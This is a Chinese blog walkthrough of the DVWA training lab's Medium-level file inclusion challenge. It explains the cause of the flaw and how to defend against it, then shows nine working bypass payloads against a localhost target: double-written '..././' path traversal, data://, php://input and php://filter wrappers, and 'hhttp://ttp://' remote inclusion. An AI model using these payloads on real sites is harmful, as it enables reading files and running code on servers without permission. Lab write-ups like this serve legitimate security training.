DVWA靶场通关笔记-文件包含(Medium级别 9种渗透方法)

发布于:2025-07-04 ⋅ 阅读:(19) ⋅ 点赞:(0)

目录

一、文件包含

1、原因

2、危害

3、防范措施

二、代码审计(Medium级别)

1、渗透准备

(1)配置php.ini

(2)file1.php

(3)file2.php

(4)file3.php

2、源码分析

(1)index.php

(2)include.php

(3)Medium.php

3、渗透思路

三、渗透实战

1、访问file4.php(成功)

2、访问敏感文件win.ini(双写渗透成功)

3、获取敏感信息hosts(双写渗透成功)

4、访问phpinfo(双写渗透成功)

5、data伪协议(成功)

6、php://input伪协议(成功)

7、file伪协议(成功)

8、php://filter伪协议(成功)

9、远程包含http协议(双写渗透成功)


本系列为通过《DVWA靶场通关笔记》的文件包含关卡(low,medium,high,impossible共4关)渗透集合,通过对相应关卡源码的代码审计找到讲解渗透原理并进行渗透实践,本文为文件包含Medium关卡的渗透部分。

一、文件包含

文件包含是一种严重的安全威胁,攻击者可以通过构造恶意文件路径,诱导服务器包含并执行恶意文件。

1、原因

文件包含安全风险的本质是程序在动态加载文件时,由于直接信任并使用了未经验证的用户输入作为文件路径参数,使得攻击者能够通过构造恶意路径(如../../../etc/passwd或远程URL)突破预期的文件访问范围,从而非法读取敏感文件或执行任意代码。具体原因如下所示。

分类 具体原因 描述
程序设计缺陷 未验证用户输入 开发者未对用户提供的文件路径参数进行严格过滤和验证
动态包含机制 使用变量动态构建文件包含路径,如include($_GET['page'])
配置问题 PHP配置不当 allow_url_includeallow_url_fopen设置为On
服务器配置宽松 Web服务器未设置适当的访问权限限制
开发习惯 使用相对路径 依赖相对路径包含文件,易受路径遍历攻击
硬编码不充分 未使用固定的基础目录限制文件包含范围

2、危害

危害类型 详细描述
代码执行 攻击者可包含恶意 PHP 文件,执行任意代码,如修改网站页面内容、删除重要文件、添加恶意脚本等,破坏网站的正常功能和数据。
数据泄露 通过包含敏感文件,如数据库配置文件(包含数据库用户名、密码等)、用户信息文件等,获取网站的敏感信息,导致数据泄露,危害用户隐私和网站安全。
权限提升 利用文件包含安全风险,攻击者可能获取更高权限,如获取系统管理员权限,进一步控制服务器,进行更恶意的操作,如安装后门程序、篡改系统设置等。
网站挂马 包含恶意脚本文件,在网站页面中插入恶意代码,当用户访问网站时,可能导致用户计算机感染恶意软件,或者将网站流量导向恶意网站,影响用户体验并可能造成用户的损失。
破坏业务逻辑 包含恶意文件可能干扰网站的业务逻辑,如干扰用户的身份验证、支付流程等,导致业务流程被破坏,影响网站的正常运营。

3、防范措施

文件包含风险是一种严重的安全威胁,开发人员应高度重视并采取有效措施进行防范。

防范措施 具体描述
严格的白名单验证 建立严格的白名单,明确允许包含的文件列表。只允许特定的、经过安全评估的文件被包含,拒绝所有其他文件。
使用绝对路径 在包含文件时,使用绝对路径而不是相对路径。这样可以防止攻击者通过目录遍历风险访问到非预期的文件。
输入验证与过滤 对用户输入的文件名或文件路径进行严格的验证和过滤。去除任何可能包含目录遍历字符(如../)或其他恶意字符的内容,防止攻击者构造恶意路径。
禁用危险函数或功能 根据应用程序的实际需求,禁用一些可能导致文件包含风险的危险函数,如eval()include_once()等,如果必须使用,要确保对传入参数进行严格检查。
限制文件类型 明确规定允许包含的文件类型,只允许包含特定扩展名的文件,如.php文件,避免包含其他可能包含恶意代码的文件类型,如.txt.html等,除非有特殊需求并进行了充分的安全评估。
服务器配置优化 确保服务器的配置正确,限制对文件系统的访问权限。例如,将 Web 服务器的运行权限设置为尽可能低,只给予必要的文件和目录读写权限,防止攻击者利用文件包含风险进行越界访问和操作。
安全更新与监控 及时更新服务器软件和应用程序框架,以修复可能存在的文件包含风险。同时,建立监控机制,实时监测文件包含操作,发现异常行为及时报警并处理。

二、代码审计(Medium级别)

1、渗透准备

配置security为中等Medium级别。

进入到文件包含关卡Medium页面,发现页面有三个链接,分别对应file1.php, file2.php, file3.php,具体如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php

(1)配置php.ini

因为源码include.php会检查 PHP 配置中的 allow_url_include allow_url_fopen,代码确保了必要的功能已经启用,否则举例如果allow_url_include配置为off,会有如下报错。

修改php.ini文件,开启allow_url_includeallow_url_fopen,切记修改后需要重启小皮的Apache服务,配置效果如下所示。

(2)file1.php

点击file1.php效果如下,显示当前登陆账号和ip地址。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

(3)file2.php

点击file2.php效果如下,传入参数为page=file2.php。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php

(4)file3.php

点击file3.php效果如下,传入参数为page=file3.php。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

2、源码分析

打开靶场的文件包含Medium关,完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php

(1)index.php

这段代码的主要目的是展示不同安全级别下的文件包含风险。通过设置不同的安全级别,用户可以观察到不同防护措施下的文件包含行为。代码的核心逻辑是根据用户输入动态包含文件,这在低安全级别下可能导致恶意文件的包含,从而引发安全问题。例如,攻击者可以通过控制 $file 参数(指定不同级别的文件也就是lowmediumhighimpossible对应的php文件),诱导服务器包含恶意脚本文件

这段 PHP 代码是一个用于演示文件包含风险的示例,主要功能是根据用户设置的安全级别,包含并执行不同的 PHP 文件,同时处理用户请求的文件包含操作。以下是代码功能的详细描述:

  • 初始化和配置
    • 定义了一个常量 DVWA_WEB_PAGE_TO_ROOT,用于指定网站根目录的相对路径。
    • 使用 require_once 引入了 dvwaPage.inc.php 文件,该文件包含了 DVWA 的页面初始化和配置功能。
    • 调用 dvwaPageStartup 函数,初始化页面,确保用户已认证,并根据配置加载 PHPIDS
  • 页面设置
    • 创建了一个 $page 数组,用于存储页面的标题、页面 ID、帮助按钮和源代码按钮等信息。
    • 设置了页面的标题为“Vulnerability: File Inclusion”,并根据 DVWA 的页面结构添加了分隔符和主标题。
  • 数据库连接
    • 调用 dvwaDatabaseConnect 函数,连接到数据库,为后续操作提供数据库支持。
  • 选择不同级别文件
    • 根据 $_COOKIE['security'] 的值,选择不同安全级别的文件:
      • low:包含 low.php 文件。
      • medium:包含 medium.php 文件。
      • high:包含 high.php 文件。
      • 默认:包含 impossible.php 文件。
    • 这些文件分别实现了不同安全级别下的文件包含逻辑。
  • 文件包含逻辑
    • 如果 $_GET 中存在 $file 参数(代码中注释掉了 $_GET 的检查,实际使用中应检查 $_GET['file']),则包含用户指定的文件。
    • 如果没有指定文件,则重定向到 include.php 页面。
  • 页面渲染
    • 调用 dvwaHtmlEcho 函数,渲染并输出页面内容。

(2)include.php

这段 PHP 代码是一个用于演示文件包含关卡的示例页面,属于 DVWA(Damn Vulnerable Web Application)项目的一部分。其主要功能是检查 PHP 配置中的相关功能是否启用,并提供一个简单的用户界面,允许用户通过 URL 参数动态包含文件。以下是代码功能的详细描述:

  • 检查 PHP 配置
    • 检查 allow_url_include 是否启用:该配置项允许 PHP 的 include 和 require 函数包含远程文件。如果未启用,会生成一个警告信息。
    • 检查 allow_url_fopen 是否启用:该配置项允许 PHP 打开远程文件。如果未启用,也会生成一个警告信息。
  • 生成警告信息
    • 如果上述任何一个配置项未启用,会生成相应的警告信息,并将其存储在 $WarningHtml 变量中。
  • 页面内容构建
    • 构建页面的 HTML 内容,包括:
      • 一个标题,显示“Vulnerability: File Inclusion”。
      • 显示警告信息(如果有的话)。
      • 提供三个可点击的链接,分别指向 file1.php、file2.php 和 file3.php,允许用户通过 URL 参数动态包含这些文件。
      • 提供一些关于文件包含额外信息链接,包括维基百科的远程文件包含页面和 OWASP Top 10 2007 的相关页面。

这段代码的主要目的是展示文件包含的基本原理和潜在风险。通过检查 PHP 配置中的 allow_url_include 和 allow_url_fopen,代码确保了必要的功能已经启用,从而可以进行文件包含操作。如果这些配置项未启用,用户将看到警告信息,提示他们需要启用这些功能才能正常运行代码。

(3)Medium.php

进入DVWA靶场源目录,找到Medium.php源码。

打开源码Medium.php,分析可知这段代码实现了仅有简单验证的不安全的文件包含功能,参数为page,如下所示。

这段 PHP 代码的目的是从用户输入中获取一个文件路径,并对其进行简单的验证,以防止某些类型的文件包含攻击。以下是代码功能的详细描述:

  • 获取用户输入
    • 从 $_GET['page'] 中获取用户指定的文件路径。这个值将用于后续的文件包含操作。
  • 输入验证
    • 使用 str_replace 函数移除字符串中的 http:// 和 https://。这是为了防止攻击者通过包含远程文件(如 http://malicious.com/badfile.php)来执行恶意代码。
    • 使用 str_replace 函数移除字符串中的 ../ 和 ..\"。这是为了防止目录遍历攻击,即攻击者通过包含上级目录的文件(如 ../config.php)来获取敏感信息。

这段代码的主要功能是对用户输入的文件路径进行简单的清理,以减少文件包含攻击的风险。然而,这种清理方式并不足以完全防止文件包含风险。攻击者仍然可以通过其他方式绕过这些简单的过滤措施。例如,攻击者可以使用其他协议(如 file://)或编码方式来绕过过滤。

<?php
// The page we wish to display
$file = $_GET['page']; // 从 GET 请求中获取 'page' 参数的值,该值将用于指定要包含的文件。
// Input validation
$file = str_replace(array("http://", "https://"), "", $file); // 移除字符串中的 "http://" 和 "https://",防止包含远程文件。
$file = str_replace(array("../", "..\""), "", $file); // 移除字符串中的 "../" 和 "..\",防止目录遍历攻击。
// 代码中缺少文件包含的部分,例如:
// include($file); // 假设这里会包含用户指定的文件。
?>

3、渗透思路

这段PHP代码实现了一个存在安全风险的动态文件包含功能,通过$_GET['page']接收用户输入的文件名,并尝试包含该文件。虽然代码使用str_replace()过滤了"http://""https://"和路径遍历字符("../", "..")来防止远程文件包含(RFI)和目录遍历攻击(LFI),但这种过滤方式并不安全,容易通过大小写变异、双重编码或特殊字符组合等方式绕过。

  • 过滤“http:// 和 https://”,双写绕过:“hhttp://ttp://”和“hhttps://ttps://”
  • 过滤了“../ 和 ..\” ,双写绕过:“..././”和“. ..\.\”

三、渗透实战

1、访问file4.php(成功)

进入DVWA靶场的文件包含关卡low级别,基于渗透准备中测试了page为file1.php, file2.php, file3.php, 我们尝试将关卡首页,将page参数改为file4.php,如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

完整的URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file4.php

如下所示,显示了隐藏内容,提示用户名为admin,安全级别为Medium。

2、访问敏感文件win.ini(双写渗透成功)

黑客计划访问win.ini文件,默认他的位置为c://windows/win.ini。

而当前关卡文件包含index.php源码位置为C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。

故而win.ini相对于low.php的路径为../../../../../../windows/win.ini,基于此文件包含的路径如下所示。

page=../../../../../../windows/win.ini

完整的渗透URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../windows/win.ini

使用“..././”替换“../”,完整渗透URL如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/win.ini

如下所示成功访问到win.ini文件,渗透成功。 

3、获取敏感信息hosts(双写渗透成功)

接下来将page改为../../../../../../windows/system32/drivers/etc/hosts进行渗透,基于此文件包含的路径如下所示。

page =../../../../../../windows/system32/drivers/etc/hosts进行渗透

完整的渗透URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../windows/system32/drivers/etc/hosts

使用“..././”替换“../”,完整渗透URL如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/system32/drivers/etc/hosts

如下所示,成功访问到c:// windows/system32/drivers/etc/hosts文件,渗透成功。

4、访问phpinfo(双写渗透成功)

在DVWA首页有访问phpinfo的链接,如下图红框所示。

此时的URL地址为http://127.0.0.1/dvwa/phpinfo.php,这说明DVWA靶场的根目录中包含phpinfo.php文件。

http://127.0.0.1/dvwa/phpinfo.php

在C:\phpstudy_pro\WWW\中复制phpinfo.php文件,重命名为phpinfo.txt如下图红框所示。

而当前关卡index.php的源码位置为C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。

故而phpinfo.txt相对于low.php的路径为../../../../../../windows/win.ini,基于此文件包含的路径如下所示。

page=../../../phpinfo. txt

完整的渗透URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo. txt

使用“..././”替换“../”,完整渗透URL如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././phpinfo.txt

 如下所示,成功获取到服务器的php相关信息,渗透成功。

​ 

5、data伪协议(成功)

通过data伪协议进行渗透,特别注意参数传递方法为GET方法。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://,<?php phpinfo();?>

 如下所示,成功通过data伪协议获取到服务器的phpinfo信息。 

6、php://input伪协议(成功)

通过php://input伪协议进行渗透,特别注意参数传递方法为POST方法。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://input
Post参数:<?php phpinfo();?>

 如下所示,成功通过php://input伪协议获取到服务器的phpinfo信息。

7、file伪协议(成功)

通过file伪协议获取C:\Windows\System32\drivers\etc\hosts,需要使用文件绝对路径,如下所示。

file:///C:\Windows\System32\drivers\etc\hosts

完整URL地址如下所示,参数为page。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Windows\System32\drivers\etc\hosts

 如下所示,成功通过file伪协议获取到C:\Windows\System32\drivers\etc\hosts文件的内容。 

8、php://filter伪协议(成功)

通过php://filter协议获取源码文件medium.php,使用base64编码的方法来获取,具体的方法为php://filter/read=convert.base64-encode/resource=source/medium.php,完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=source/medium.php

如下所示,通过php://filter协议获取medium.php源码成功,页面成功显示medium.php的base64编码。

base64加密后内容如下所示。

PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KLy8gSW5wdXQgdmFsaWRhdGlvbg0KJGZpbGUgPSBzdHJfcmVwbGFjZSggYXJyYXkoICJodHRwOi8vIiwgImh0dHBzOi8vIiApLCAiIiwgJGZpbGUgKTsNCiRmaWxlID0gc3RyX3JlcGxhY2UoIGFycmF5KCAiLi4vIiwgIi4uXCIiICksICIiLCAkZmlsZSApOw0KDQo

使用在线base64解码工具,如下所示。

9、远程包含http协议(双写渗透成功)

在3.4部分我们创建的phpinfo.txt放在DVWA靶场的目录中,故而其URL地址如下所示。

http://127.0.0.1/DVWA/phpinfo.txt

使用http协议进行远程文件包含,完整的渗透URL地址如下所示。 

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/pikachu/test/phpinfo.txt

使用双写法“hhttp://ttp://”替换“http://”,渗透URL地址变为如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hhttp://ttp://127.0.0.1/pikachu/test/phpinfo.txt

如下所示,通过远程包含渗透成功。